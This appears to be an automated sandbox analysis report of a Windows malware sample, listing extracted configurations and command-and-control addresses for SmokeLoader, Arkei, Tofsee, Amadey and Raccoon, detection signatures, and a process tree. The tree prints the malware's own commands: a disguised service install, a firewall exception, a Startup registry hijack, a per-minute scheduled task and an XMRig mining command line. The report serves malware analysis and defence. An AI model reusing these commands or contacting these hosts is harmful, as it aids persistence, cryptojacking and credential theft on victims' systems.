Analysis

  • max time kernel
    152s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    16/01/2022, 19:56

General

  • Target
    7b3af22cae6ca4526b829aaad0c989d9.exe
  • Size 273KB
  • Sample220116-ynqq7agcfq
  • SHA256 06de7a6020311d1148c053a1b4d620a556e4ec46c670b44f1f280b4fbd68dfd2
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • arkei

Botnet
  • Default

C2
  • http://file-file-host4.com/tratata.php

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Extracted

Family
  • amadey

Version
  • 3.01

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Extracted

Family
  • raccoon

Version
  • 1.8.4-hotfixs

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 19 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7b3af22cae6ca4526b829aaad0c989d9.exe
    "C:\Users\Admin\AppData\Local\Temp\7b3af22cae6ca4526b829aaad0c989d9.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:952
    • C:\Users\Admin\AppData\Local\Temp\7b3af22cae6ca4526b829aaad0c989d9.exe
      "C:\Users\Admin\AppData\Local\Temp\7b3af22cae6ca4526b829aaad0c989d9.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1100
  • C:\Users\Admin\AppData\Local\Temp\29EE.exe
    C:\Users\Admin\AppData\Local\Temp\29EE.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:1340
  • C:\Users\Admin\AppData\Local\Temp\328A.exe
    C:\Users\Admin\AppData\Local\Temp\328A.exe
    1⤵
    • Executes dropped EXE
    PID:804
  • C:\Users\Admin\AppData\Local\Temp\3855.exe
    C:\Users\Admin\AppData\Local\Temp\3855.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:684
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kzbxeprj\
      2⤵
        PID:1184
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yrglegdm.exe" C:\Windows\SysWOW64\kzbxeprj\
        2⤵
          PID:1308
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kzbxeprj binPath= "C:\Windows\SysWOW64\kzbxeprj\yrglegdm.exe /d\"C:\Users\Admin\AppData\Local\Temp\3855.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1612
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description kzbxeprj "wifi internet conection"
            2⤵
              PID:1704
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start kzbxeprj
              2⤵
                PID:1060
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1192
              • C:\Users\Admin\AppData\Local\Temp\3DE2.exe
                C:\Users\Admin\AppData\Local\Temp\3DE2.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1996
                • C:\Users\Admin\AppData\Local\Temp\3DE2.exe
                  C:\Users\Admin\AppData\Local\Temp\3DE2.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1596
              • C:\Windows\SysWOW64\kzbxeprj\yrglegdm.exe
                C:\Windows\SysWOW64\kzbxeprj\yrglegdm.exe /d"C:\Users\Admin\AppData\Local\Temp\3855.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:664
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1636
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1668
              • C:\Users\Admin\AppData\Local\Temp\A263.exe
                C:\Users\Admin\AppData\Local\Temp\A263.exe
                1⤵
                • Executes dropped EXE
                PID:1504
              • C:\Users\Admin\AppData\Local\Temp\B1C0.exe
                C:\Users\Admin\AppData\Local\Temp\B1C0.exe
                1⤵
                • Executes dropped EXE
                PID:1712
              • C:\Users\Admin\AppData\Local\Temp\C698.exe
                C:\Users\Admin\AppData\Local\Temp\C698.exe
                1⤵
                • Executes dropped EXE
                PID:268
              • C:\Users\Admin\AppData\Local\Temp\FB05.exe
                C:\Users\Admin\AppData\Local\Temp\FB05.exe
                1⤵
                • Executes dropped EXE
                PID:652
              • C:\Users\Admin\AppData\Local\Temp\1DD2.exe
                C:\Users\Admin\AppData\Local\Temp\1DD2.exe
                1⤵
                • Executes dropped EXE
                PID:364
              • C:\Users\Admin\AppData\Local\Temp\3124.exe
                C:\Users\Admin\AppData\Local\Temp\3124.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2016
                • C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
                  "C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:724
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\
                    3⤵
                      PID:1156
                      • C:\Windows\SysWOW64\reg.exe
                        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\
                        4⤵
                          PID:1488
                      • C:\Windows\SysWOW64\schtasks.exe
                        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mjlooy.exe /TR "C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" /F
                        3⤵
                        • Creates scheduled task(s)
                        PID:560
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                    • Accesses Microsoft Outlook profiles
                    • outlook_office_path
                    • outlook_win_path
                    PID:1484
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe
                    1⤵
                      PID:1492
                    • C:\Users\Admin\AppData\Local\Temp\544E.exe
                      C:\Users\Admin\AppData\Local\Temp\544E.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1676
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {5D2F8B1D-7610-44CB-ABE7-8D24E9BCD84A} S-1-5-21-3846991908-3261386348-1409841751-1000:VQVVOAJK\Admin:Interactive:[1]
                      1⤵
                        PID:1340
                        • C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
                          C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
                          2⤵
                          • Executes dropped EXE
                          PID:392

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            memory/268-130-0x0000000000290000-0x00000000002F0000-memory.dmp

                            memory/392-178-0x000000000058B000-0x00000000005A9000-memory.dmp

                            memory/392-181-0x0000000000400000-0x00000000004E6000-memory.dmp

                            memory/652-133-0x00000000002A0000-0x0000000000300000-memory.dmp

                            memory/664-88-0x00000000002CB000-0x00000000002DB000-memory.dmp

                            memory/664-94-0x0000000000400000-0x00000000004D9000-memory.dmp

                            memory/684-68-0x000000000067B000-0x000000000068B000-memory.dmp

                            memory/684-70-0x0000000000220000-0x0000000000233000-memory.dmp

                            memory/684-78-0x0000000000400000-0x00000000004D9000-memory.dmp

                            memory/724-158-0x0000000000400000-0x00000000004E6000-memory.dmp

                            memory/724-151-0x000000000096B000-0x0000000000989000-memory.dmp

                            memory/804-65-0x00000000002B0000-0x00000000002CC000-memory.dmp

                            memory/804-67-0x0000000000400000-0x00000000004DA000-memory.dmp

                            memory/804-63-0x000000000057B000-0x000000000058C000-memory.dmp

                            memory/952-57-0x0000000000220000-0x0000000000229000-memory.dmp

                            memory/952-53-0x000000000059B000-0x00000000005AC000-memory.dmp

                            memory/1100-56-0x0000000075AB1000-0x0000000075AB3000-memory.dmp

                            memory/1100-54-0x0000000000400000-0x0000000000409000-memory.dmp

                            memory/1340-110-0x0000000000230000-0x0000000000239000-memory.dmp

                            memory/1340-109-0x0000000000220000-0x0000000000229000-memory.dmp

                            memory/1340-111-0x0000000000400000-0x0000000000452000-memory.dmp

                            memory/1412-58-0x0000000002710000-0x0000000002726000-memory.dmp

                            memory/1412-119-0x0000000003E30000-0x0000000003E46000-memory.dmp

                            memory/1484-165-0x0000000000170000-0x00000000001E4000-memory.dmp

                            memory/1484-166-0x0000000000080000-0x00000000000EB000-memory.dmp

                            memory/1484-160-0x0000000074AA1000-0x0000000074AA3000-memory.dmp

                            memory/1492-163-0x0000000000060000-0x000000000006C000-memory.dmp

                            memory/1492-161-0x0000000000070000-0x0000000000077000-memory.dmp

                            memory/1504-122-0x00000000002E0000-0x0000000000360000-memory.dmp

                            memory/1504-135-0x0000000000360000-0x00000000003C8000-memory.dmp

                            memory/1504-136-0x0000000002D80000-0x0000000002E12000-memory.dmp

                            memory/1504-134-0x0000000000400000-0x0000000002BC5000-memory.dmp

                            memory/1504-137-0x0000000000400000-0x0000000002BC5000-memory.dmp

                            memory/1504-169-0x0000000000400000-0x0000000002BC5000-memory.dmp

                            memory/1504-124-0x0000000000400000-0x0000000002BC5000-memory.dmp

                            memory/1504-172-0x0000000004600000-0x0000000004691000-memory.dmp

                            memory/1504-123-0x0000000002BD0000-0x0000000002C75000-memory.dmp

                            memory/1504-171-0x0000000002E20000-0x0000000002E6F000-memory.dmp

                            memory/1504-175-0x0000000000400000-0x0000000002BC5000-memory.dmp

                            memory/1596-107-0x0000000000560000-0x0000000000561000-memory.dmp

                            memory/1596-100-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1596-98-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1596-99-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1596-101-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1596-102-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1596-106-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1596-105-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1636-90-0x0000000000080000-0x0000000000095000-memory.dmp

                            memory/1636-91-0x0000000000080000-0x0000000000095000-memory.dmp

                            memory/1668-113-0x0000000000150000-0x0000000000241000-memory.dmp

                            memory/1668-112-0x0000000000150000-0x0000000000241000-memory.dmp

                            memory/1712-176-0x0000000000400000-0x0000000002BC5000-memory.dmp

                            memory/1712-174-0x0000000000400000-0x0000000002BC5000-memory.dmp

                            memory/1712-179-0x0000000000400000-0x0000000002BC5000-memory.dmp

                            memory/1712-127-0x0000000002BD0000-0x0000000002C50000-memory.dmp

                            memory/1996-83-0x0000000004E30000-0x0000000004E31000-memory.dmp

                            memory/1996-86-0x00000000002B0000-0x00000000002B1000-memory.dmp

                            memory/1996-77-0x0000000000FF0000-0x000000000107A000-memory.dmp

                            memory/1996-76-0x0000000000FF0000-0x000000000107A000-memory.dmp

                            memory/2016-145-0x0000000000400000-0x00000000004E6000-memory.dmp

                            memory/2016-144-0x0000000000220000-0x0000000000258000-memory.dmp

                            memory/2016-142-0x000000000096B000-0x0000000000989000-memory.dmp